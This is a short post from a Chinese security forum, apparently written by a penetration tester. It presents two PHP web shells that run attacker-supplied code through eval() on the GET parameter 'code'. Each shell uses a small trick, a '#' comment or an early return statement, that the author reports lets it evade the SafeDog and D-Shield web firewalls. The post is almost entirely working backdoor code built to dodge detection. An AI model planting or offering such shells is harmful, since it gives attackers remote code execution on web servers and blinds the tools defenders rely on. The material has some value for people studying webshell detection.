# 逻辑免杀

**URL:** <https://forum.90sec.com/t/topic/513>\
**Category:** 技术文章\
**Created:** [2019 年10 月 8 日 09:47 UTC](https://forum.90sec.com/t/topic/513 "2019-10-08T09:47:56Z")\
**Posts on this page:** 1\
**Showing post:** 1

<div class="post-metadata">

作者： ![lufei](https://forum.90sec.com/letter_avatar_proxy/v4/letter/l/c0e974/32.png) [@lufei](https://forum.90sec.com/u/lufei)\
发布日期： [2019 年10 月 8 日 09:47 UTC](https://forum.90sec.com/t/topic/513/1 "2019-10-08T09:47:56Z")

</div>

# 0x00 前言

最近搞了下bypass waf，发现waf检测逻辑有点意思。

# 0x01 一个符号免杀

之前我使用一个`\`符号bypass安全狗和d盾，这次用一个`#`符号bypass安全狗。

```php
<?php
function test($name){#
    eval($name);
}

test($_GET['code']);
?>

```

# 0x02 return免杀

return bypass。

```php
<?php
function test($name){
    if($_GET['code']==1){
        return "aaa";
    }

    eval($name);
}

test($_GET['code']);
?>

```

 ![1](https://forum.90sec.com/uploads/default/original/2X/f/f0dcf3f43f445ee57be14d7433c947baa0c43fb9.png)

# 0x03 最后

其实我想发的是，免杀要点，整理出脚本免杀所有要点，比如，程序入口，程序数据流，sink点，以及面向人的免杀。  
可惜，感觉水平有限，没思路写。

# 0x04 勿喷

突发奇想，实验成功，有点意思，记录成贴。

---

_[View the full topic](https://forum.90sec.com/t/topic/513)._
